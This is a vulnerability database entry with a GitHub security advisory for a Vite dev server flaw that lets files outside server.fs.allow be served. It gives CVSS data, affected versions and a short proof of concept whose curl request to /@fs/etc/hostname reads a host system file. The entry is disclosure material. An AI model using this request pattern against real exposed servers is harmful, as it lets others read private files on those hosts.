          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 6.3,
          "baseSeverity": "MEDIUM",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "NONE",
          "vulnConfidentialityImpact": "LOW",
          "vulnIntegrityImpact": "NONE",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-112946",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-10-20T16:45:38.089794Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-10-20T16:17:05.210",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/vitejs/vite/commit/170b92791421bcd484f7325936d989a82d6bd4aa"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/vitejs/vite/commit/45c0e3392a298626955a0ab93a8e51232daac721"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/vitejs/vite/commit/c3e06f92e969952466b4e2f5801e85e1e00cd905"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/vitejs/vite/commit/e570d8d016096b5f8f6f09808376ca6cf73f27d0"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/vitejs/vite/commit/f0d76c7da13d5e794807b82f0b86c1931a8438e3"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/vitejs/vite/pull/23656"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/vitejs/vite/security/advisories/GHSA-rq7h-c2jc-7f22"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/vitejs/vite/security/advisories/GHSA-rq7h-c2jc-7f22"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Awaiting Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-22"
        },
        {
          "lang": "en",
          "value": "CWE-284"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-RQ7H-C2JC-7F22

Vulnerability from github – Published: 2026-10-21 16:47 – Updated: 2026-10-21 16:47

Summary

Vite: Files outside `server.fs.allow` could be served when project paths match system paths on non-Windows machine

Details

Summary

Impact

Only apps that meet all of the following conditions are affected:

explicitly expose the Vite dev server to the network (using --host or the server.host option)
contain an imported file whose root-relative browser URL is also the absolute path of a readable file on the host
The sensitive file is not matched by server.fs.deny
the dev server is not running on Windows

Details

PoC

The following example requires Linux with a readable /etc/hostname:

$ mkdir vite-safe-module-path-poc
$ cd vite-safe-module-path-poc
$ npm init -y
$ npm install vite@8.3.1
$ mkdir -p etc
$ echo 'PROJECT-DECOY\n' > etc/hostname
$ echo 'import "./etc/hostname"\n' > main.js
$ npx vite --host 127.0.0.1

In another terminal:

$ curl -o /dev/null -s -w '%{http_code}\n' http://127.0.0.1:5173/main.js
200
$ curl -sS -o response -w '%{http_code}\n' http://127.0.0.1:5173/@fs/etc/hostname
200
$ cmp -s response /etc/hostname && echo 'response matches host file'
response matches host file

Severity

6.3 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.3.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.3.0"
            },
            {
              "fixed": "8.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.2.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.2.0"
            },
            {
              "fixed": "8.2.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.1.5"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.3.6"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.3.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.4.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.4.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.0.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vite-plus"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-112946"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-284"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-21T16:47:42Z",
    "nvd_published_at": "2026-10-20T16:17:05Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe content of files outside `server.fs` setting can be returned to the browser if the project imports a file path concatenated with the `root`. For example, if the project references `\u003cpath-to-project-root\u003e/etc/hosts`, the content of `/etc/hosts` was possible to be returned.\n\nThe content of files outside the `server.fs.allow` option can be returned to the browser when a project imports a file whose root-relative path matches an absolute path on the host. For example, referencing `\u003cproject-root\u003e/etc/hosts` could make Vite return the host\u0027s `/etc/hosts` file.\n\n### Impact\n\nOnly apps that meet all of the following conditions are affected:\n\n- explicitly expose the Vite dev server to the network (using `--host` or the [`server.host` option](https://vite.dev/config/server-options#server-host))\n- contain an imported file whose root-relative browser URL is also the absolute path of a readable file on the host\n- The sensitive file is not matched by [`server.fs.deny`](https://vite.dev/config/server-options#server-fs-deny)\n- the dev server is not running on Windows\n\n### Details\n\nWhen Vite analyzes an in-root import, it rewrites the resolved module ID to a browser URL such as `/etc/hostname`. In affected versions, Vite converts that URL with `fsPathFromUrl` and adds the result to `safeModulePaths`. Because `fsPathFromUrl` ensures a leading slash without resolving the URL against the project root, the project URL `/etc/hostname` is recorded as if it were the absolute filesystem path `/etc/hostname`.\n\nFor a later request to `/@fs/etc/hostname`, the raw-filesystem middleware interprets `/etc/hostname` as an absolute path. The access check applies `server.fs.deny`, then accepts paths present in `safeModulePaths` before checking `server.fs.allow`. As a result, the request can return the host file instead of the project file that originally populated `safeModulePaths`.\n\n### PoC\nThe following example requires Linux with a readable `/etc/hostname`:\n```bash\n$ mkdir vite-safe-module-path-poc\n$ cd vite-safe-module-path-poc\n$ npm init -y\n$ npm install vite@8.3.1\n$ mkdir -p etc\n$ echo \u0027PROJECT-DECOY\\n\u0027 \u003e etc/hostname\n$ echo \u0027import \"./etc/hostname\"\\n\u0027 \u003e main.js\n$ npx vite --host 127.0.0.1\n```\n\nIn another terminal:\n```bash\n$ curl -o /dev/null -s -w \u0027%{http_code}\\n\u0027 http://127.0.0.1:5173/main.js\n200\n$ curl -sS -o response -w \u0027%{http_code}\\n\u0027 http://127.0.0.1:5173/@fs/etc/hostname\n200\n$ cmp -s response /etc/hostname \u0026\u0026 echo \u0027response matches host file\u0027\nresponse matches host file\n```",
  "id": "GHSA-rq7h-c2jc-7f22",
  "modified": "2026-10-21T16:47:42Z",
  "published": "2026-10-21T16:47:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vitejs/vite/security/advisories/GHSA-rq7h-c2jc-7f22"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112946"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vitejs/vite/pull/23656"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vitejs/vite/commit/170b92791421bcd484f7325936d989a82d6bd4aa"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vitejs/vite/commit/45c0e3392a298626955a0ab93a8e51232daac721"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vitejs/vite/commit/c3e06f92e969952466b4e2f5801e85e1e00cd905"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vitejs/vite/commit/e570d8d016096b5f8f6f09808376ca6cf73f27d0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vitejs/vite/commit/f0d76c7da13d5e794807b82f0b86c1931a8438e3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vitejs/vite"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Vite: Files outside `server.fs.allow` could be served when project paths match system paths on non-Windows machine"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

Publication & reservation Sightings KEV catalogs Other timestamps

Loading timeline…

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-112946 (GCVE-0-2026-112946)

BREW-VITE-CVE-2026-112946 (GHSA-RQ7H-C2JC-7F22)

Summary

Impact

Details

PoC

FKIE_CVE-2026-112946

GHSA-RQ7H-C2JC-7F22

Summary

Impact

Details

PoC

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour